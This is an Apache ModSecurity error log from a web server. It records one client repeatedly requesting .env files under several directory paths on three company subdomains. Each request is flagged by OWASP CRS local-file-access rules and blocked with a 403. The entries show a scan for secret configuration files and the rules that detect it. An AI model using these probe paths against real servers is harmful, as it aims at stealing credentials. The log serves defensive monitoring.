[Sun Oct 25 02:18:59.085083 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhVgAAAAI"]
[Sun Oct 25 02:18:59.086222 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7XgAAAAo"]
[Sun Oct 25 02:18:59.086395 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7XgAAAAo"]
[Sun Oct 25 02:18:59.086626 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7XgAAAAo"]
[Sun Oct 25 02:18:59.101819 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCAAAAAs"]
[Sun Oct 25 02:18:59.102011 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCAAAAAs"]
[Sun Oct 25 02:18:59.102268 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCAAAAAs"]
[Sun Oct 25 02:18:59.320814 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7XwAAAAo"]
[Sun Oct 25 02:18:59.321128 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7XwAAAAo"]
[Sun Oct 25 02:18:59.321598 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7XwAAAAo"]
[Sun Oct 25 02:18:59.345840 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhVwAAAAI"]
[Sun Oct 25 02:18:59.346092 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhVwAAAAI"]
[Sun Oct 25 02:18:59.346399 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhVwAAAAI"]
[Sun Oct 25 02:18:59.347452 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCQAAAAs"]
[Sun Oct 25 02:18:59.347619 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCQAAAAs"]
[Sun Oct 25 02:18:59.347830 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCQAAAAs"]
[Sun Oct 25 02:18:59.585445 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7YAAAAAo"]
[Sun Oct 25 02:18:59.585701 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7YAAAAAo"]
[Sun Oct 25 02:18:59.585961 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7YAAAAAo"]
[Sun Oct 25 02:18:59.784080 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCgAAAAs"]
[Sun Oct 25 02:18:59.784351 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCgAAAAs"]
[Sun Oct 25 02:18:59.784623 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fU3qPPT_6tJCMTRvuCgAAAAs"]
[Sun Oct 25 02:18:59.859448 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhWAAAAAI"]
[Sun Oct 25 02:18:59.859727 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhWAAAAAI"]
[Sun Oct 25 02:18:59.860006 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhWAAAAAI"]
[Sun Oct 25 02:18:59.861091 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7YQAAAAo"]
[Sun Oct 25 02:19:00.115903 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7YQAAAAo"]
[Sun Oct 25 02:19:00.116378 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at2fU1yqe9jgJ5nfJHB7YQAAAAo"]
[Sun Oct 25 02:19:00.036245 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVHqPPT_6tJCMTRvuCwAAAAs"]
[Sun Oct 25 02:19:00.178802 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVHqPPT_6tJCMTRvuCwAAAAs"]
[Sun Oct 25 02:19:00.179171 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVHqPPT_6tJCMTRvuCwAAAAs"]
[Sun Oct 25 02:19:00.101236 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fVFTnwNJm6o1fQZIhWQAAAAI"]
[Sun Oct 25 02:19:00.180321 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fVFTnwNJm6o1fQZIhWQAAAAI"]
[Sun Oct 25 02:19:00.620323 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fVFTnwNJm6o1fQZIhWQAAAAI"]
[Sun Oct 25 02:19:00.786681 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fVFyqe9jgJ5nfJHB7YgAAAAo"]
[Sun Oct 25 02:19:00.786906 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fVFyqe9jgJ5nfJHB7YgAAAAo"]
[Sun Oct 25 02:19:00.787215 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at2fVFyqe9jgJ5nfJHB7YgAAAAo"]
[Sun Oct 25 02:19:01.062104 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVVyqe9jgJ5nfJHB7YwAAAAo"]
[Sun Oct 25 02:19:01.062370 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVVyqe9jgJ5nfJHB7YwAAAAo"]
